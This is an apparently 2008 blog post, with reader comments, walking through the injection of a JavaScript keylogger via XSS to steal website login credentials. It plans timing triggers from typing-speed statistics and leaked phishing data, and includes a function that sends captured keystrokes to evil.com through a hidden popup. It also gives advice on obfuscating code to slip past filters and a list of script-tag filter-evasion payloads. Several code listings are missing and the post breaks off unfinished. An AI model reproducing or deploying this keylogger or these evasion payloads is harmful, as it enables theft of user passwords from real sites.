XSS Hacking → Smashing the Web for fun & profit using XSS
This article is dedicated to all this people that believe XSS is not a serious Web application vulnerability. Using XSS vulnerabilities someone can actually make lots of money. I don’t have any responsibility how this knowledge is going to be used, this article was created out of love of hacking and not to hack other people sites. Recently I became very interested to XSS and decided to write an article that fully explains how to inject a JavaScript key logger, and by saying fully explain I mean describe in full detail how can someone perform XSS filter invasion and run my JavaScript key logger in order to steal user names, passwords and user credentials. The scary part is that you don’t have to be a JavaScript expert to write effective JavaScript malicious code, you just have to have a good understanding of the Web. In the following article I provide the reader with two flavors of practically the same JavaScript key logger.
In order to understand this article you have to know:
- How to write Html web forms (look at [4]).
- How to write JavaScript DOM objects (look at [3]).
- Basic functionality of Http protocol (look at [1]).
- Understand JavaScript what obfuscation is (have a look at [5]).
- Understand how to use Burp Suite1.1 (look at [6]).
The functionality of your XSS
Before you exploit an XSS someone has to understand what is the functionality a XSS exploit should have. By saying functionality I mean what is the reason of your XSS, e.g. to deface a website, to cause a redirect or to steal user credentials (something that is the most interesting!!). In our situation we have to think about writing a key logger XSS. So that is why we have to make some thoughts about what is a log-in page form, from the user perspective, for example what is the average user name and password length? And how fast an average user is typing? We are going to use this information to build up two flavors of JavaScript key loggers that run in IE, Firefox, Opera and Netscape. So our program is going to steal the user credential based on time (e.g. auto execute after certain amount of time), password length (e.g. auto execute after the user types 5 characters) or based on both time and password length (e.g. maybe perform some character mapping, like check if Enter or Tab buttons have been pressed).
How fast do you type?
Why should we think about this factor? Because we have to make more effective our key logger.For the purposes of WPM measurement a word is standardized to five characters or keystrokes. In one study of average computer users, the average rate for transcription was 33 words per minute, and only 19 words per minute for composition.[8] In the same study, when the group was dividing into “fast”, “moderate” and “slow” groups, the average speeds were 40 wpm (words per minute), 35 wpm, and 23 wpm respectively. Two-finger typists, sometimes also referred to as “Hunt-and-Peck” typists, can reach speeds of about 37 wpm for memorized text, and 27 wpm when copying text.[9]
An average typist reaches 50 to 70 wpm, while some positions can require 80 to 95 (usually the minimum required for dispatch positions and other typing jobs), and some advanced typists work at speeds above 120.[7]
Using a personalized interface, quadriplegic physicist Stephen Hawking managed to type 15 wpm with a switch and adapted software created by Walt Woltosz. Due to a slowdown of his motor skills, his interface was upgraded with an infrared camera that detects eye blinks. The actual wpm is unknown.[7]
What is you average password and user name length?
That is truly a hard question to answer because data is scarce. But recently, some spoils from a MySpace phishing attack: 34,000 actual user names and passwords revealed some truths.[10]The attack was pretty basic. The attackers created a fake MySpace login page, and collected login information when users thought they were accessing their own account on the site. The data was forwarded to various compromised web servers, where the attackers would harvest it later.[10]
MySpace estimates that more than 100,000 people fell for the attack before it was shut down. The data I have is from two different collection points, and was cleaned of the small percentage of people who realized they were responding to a phishing attack. I analyzed the data, and this is what I learned.[10]
Password Length:
While 65% of passwords contain eight characters or less, 17% are made up of six characters or less. The average password is eight characters long.[10]
Specifically, the length distribution looks like this:
1-4 0.82%
5 1.1%
6 15%
7 23%
8 25%
9 17%
10 13%
11 2.7%
12 0.93%
13-32 0.93%
Character Mix: While 81% of passwords are alphanumeric, 28% are just lowercase letters plus a single final digit — and two-thirds of those have the single digit 1. Only 3.8% of passwords are a single dictionary word, and another 12% are a single dictionary word plus a final digit — once again, two-thirds of the time that digit is 1.
numbers only 1.3%
letters only 9.6%
alphanumeric 81%
non-alphanumeric 8.3%
Make some use of the information we have
We can understand now that it is very probable that the password length 8 characters and if we assume that the user name 7 characters, because an average person types 37 wpm of memorized text and passwords are memorized text that means that:
Username + Password = 15 characters approximately
One word = 5 characters
Which means that Username + Password = Three words so:
37/3 = 1/x => 37x = 1 => x =1/37 Minutes
or x = 1/37 * 60000 Milliseconds = 1621 Milliseconds (I will explain later why you need milliseconds)
Now we know how much time the average user takes to type his user name and password, we also know that he might also press the Tab or Enter key to switch between text fields and sent the form data. So after the user enters the lo-gin page the key logger is going to check time, the Enter key and the length of the password.
Now lets start with our key logger. In our key logger we have to use the DHTML keypress event which we are going to have to inject some how into the form, the setTimeout JavaScript function and the window object and call the window.open method to execute our code (so that the user wont be redirected into another page if we use the document.location DOM object or we can use the document object, steal the password and the perform a phising attack).
The key logger can became more efficient if we know the password security policy of the web site we are trying to exploit, because if for example the password consists of three letters, two special characters and three numerical characters we can design the key logger so it can detect the format of the password and execute itself after it detects what you are typing (by checking out the length or the characters), the same is valid for the user name.
First version of our JavaScript key logger….
The version of the key logger presented below is not the most efficient, we are going to make lots of modification through out this article. So our first key logger is an easy code example to understand the basics, lets not for now worry about how we are going to inject the javascript and just focus on making functional code first. In the code below we set two variables counter and arrayOfChars, the first variable is going to count how many key presses the user had and the second variable is going to hold all are characters untill we sent them. To sent the characters, we recorded we are going to use the object document.location, but that would mean that the user is going to be redirected from the original web page to another web page! and that would be ok for the first version of our key logger and for simplicity reasons!

Code example1: A simple version of the key logger, using as a condition to execute the recording of three letter word.
Second version of our JavaScript key logger….
So our code is going to execute conditionally, but what about also more efficiently? Well if we use the setTimeout javascript object we can have more effective results by making valid assumptions about how long is going to take to type the user name and the password (by using the data previously displayed above!).
So here is how setTimeout works!
setTimeout()
window.setTimeout() allows you to specify that a piece of JavaScript code (called an expression) will be run a specified number of milliseconds from when the setTimeout() method was called. The general syntax of the method is:[11]
setTimeout ( expression, timeout );
where expression is the JavaScript code to run after timeout milliseconds have elapsed.[11]
setTimeout() also returns a numeric timeout ID that can be used to track the timeout. This is most commonly used with the clearTimeout() method (see below).[11]
Here’s a simple example:
<input type="button" name="clickMe" value="Click me and wait!" onclick="setTimeout('alert(\'Surprise!\')', 5000)"/> [11]
Here is the html form that uses the onkeypress event:
Code example2: Html text box
The above code is going to execute our keyLogger function each time a key is pressed. Now our function is using a global variable called counter that stores the values until the user navigates to another web page!
When we are going to inject our code, we have to override the event in the web form (if one exists!). Which means that we have to insert our code before the event and comment out the rest of the code! (I will explain later all about it). The code expression we are going to write is going to be using the JavaScript timeout like that:
function autoTrigger() { setTimeout(’sentData()’,1621 ); }
Code example3: This function is going to replace function sentData in line 28 in code example 1
The html code in code example 2 won’t change at all, we have to change only line 28! and our code is going to auto trigger after 1621 milliseconds and only if the length of the word we insert inside the is longer than 3 characters….
To make are logger more interesting we have to change both the execution conditions and the html form input. We will detect the enter and keywords and assume the length of the user name and password are 15 characters…….
To do that we have to change the only the sentData() function and make it look like that:
function sentData(var _keyNum){
if (arrayOfCharsToSent.length <= 15 && _keyNum == 13) {// 13 is the ascii numerical value of enter….
window.open(’http://www.evil.com/cgi?’+arrayOfCharsToSent.toString(),
‘jav’,
‘menubar=no,toolbar=no,scrollbars=no,width=1,height=1,resizable=yes’);
new_Win.blur()// This code is going to minimize the popup window
}
}
Now our key logger would look like this:
More modifications to the code
Now we have to optimize compress and obfuscate our code in order to invade the web filters, so after some processing the code will look like that:
Now our code is shortened and ready to be obfuscated. To obfuscate the code we will have to use an online tool. Online JavaScript Obfuscater confuses local variables, arguments of functions and methods, but doesn’t confuse javascript core and client’s functions, constructors, methods or properties. It is compatible with Core JavaScript, Client-Side JavaScript, W3C DOM, XML, XML Schemas(SOM), XSLT, AJAX(XMLHTTP) and other third party object. You may decide if confusing your owner’s global variables, functions, constructors, methods and properties in source code, according to obfuscating rules. The Obfuscater we are going to use is http://iframe.in/.[12]
But first we are going to compress more the code:
And now we will obfuscate the code using iframe.in :
<<<< Click on the image to enlarge it….>>>>>
Analyzing our needs
The above image is showing the options the obfuscater gave us to invade out filter. By saying that I mean that first we have to probe the filter to see what sort of encoding or filtering is doing (e.g. which characters removes). Now the only obvious issue here is the script tags, meaning that our tool did not encoded the <script> tag. Which means that we have to use other tricks to bypass filters that remove the script tag. Lets for now assume that the imaginary filters accept single quotes and parenthesis characters, with this assumption we can successfully use the Unicode and Unescape attacks.
By passing the the script issue
Below I am listing possible script tag alterations that I found in XSS cheat sheet and some that I have been using for probing XSS filters:
- <script>alert(document.cookie)</script>
- <script>alert(document.cookie);</script>
- <script>alert(”XSS”)</script>
- <script >alert(document.cookie)</script >
- <script>alert(String.fromCharCode(88,83,83))</script>
- <script/*aaaaaa*/>/*aaaaa*/alert(String.fromCharCode(88,83,83))/*aaaaa*/</script/*aaaaa*/>
- <script/**/>/**/alert(String.fromCharCode(/**/88,/**/83,/**/83))/**/</script/*aaaaa*/>
- <script/**/>/**/alert(’/**/XSS/**/’)/**/</script/*aaaaa*/>
- <script/**/>/**/alert(”/**/XSS/**/”)/**/</script/*aaaaa*/>
- <script type=”text/JavaScript”>alert(document.cookie)</script>
- <script language=”JavaScript” type=”text/JavaScript”>alert(document.cookie)</script>
- <script language=”JavaScript” type=”text/JavaScript”>alert(document.cookie)</script>
- <script language=”JaVaScRiPt” type=”text/JavaScript”>alert(document.cookie)</script>
- <script language=”JaVaScRiPt”>alert(document.cookie)</script>
- <script language=”JavaScript”>alert(document.cookie)</script>
- <a href=”javascript:document.location=’http://www.eviltarget.com/’”>XSS</a>
- ??script??alert(??XSS??)??/script??
- %A7%A2%BE%BC%F3%E3%F2%E9%F0%F4%BE%E1%EC%E5%F2%F4%A8430638%A9%BC%AF%F3%E3%F2%E9%F0%F4%BE
The basic rule is to avoid characters that are used to SQL injection and XSS attacks like single quotes, the dash character, the dot character and of course the script tag e.t.c.
Handling encoding filters
So after we do some XSS filter probing then we can start experimenting. The above method would work better in DOM based attacks or attacks that that you don’t need to include the script tag at all. Someone can very easily see that by using python. Try for example to escape the characters, by doing something like that:
cgi.escape(”XSS_payload”)
And see what is returned back. All above encoding (excluding raw html) remains unaffected (if we exclude of course the script tag).
Injecting the code
To be continued…
Reference [1]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html
Reference [2]: http://www.ietf.org/rfc/rfc2109.txt
Reference [3]: http://www.w3schools.com/JS/default.asp
Reference [4]: http://www.w3schools.com/html/html_forms.asp
Reference [5]: http://www.javascriptobfuscator.com
Reference [6]: http://portswigger.net/suite/
Reference [7]: http://en.wikipedia.org/wiki/Words_per_minute
Reference [8]: Karat, C.M., Halverson, C., Horn, D. and Karat, J. (1999), Patterns of entry and correction in large vocabulary continuous speech recognition systems, CHI 99 Conference Proceedings, 568?€“575.
Reference [9]: Brown, C. M. (1988). Human-computer interface design guidelines. Norwood, NJ: Ablex Publishing.
Reference [10]: http://johanlouwers.blogspot.com/2006_12_17_archive.html
Reference [11]: http://elated.com/articles/javascript-timers-with-settimeout-and-setinterval/
Reference [12]:http://www.advancescripts.com/detailed/12532.html
Reference [13]:http://javascriptcompressor.com/
Reference [13]:http://iframe.in/





August 29th, 2008 at 7:34 am
Nice article! I tried iframe.in, and the domain is expired (as of 8/29/08). Do you have any similar sites that you can point me to? purely for research purposes, of course.
September 3rd, 2008 at 1:39 pm
The Obfuscation Program found at http://iframe.in/ does not exist anymore…
But you can find another cool Obfuscation Program at http://jsutility.pjoneil.net/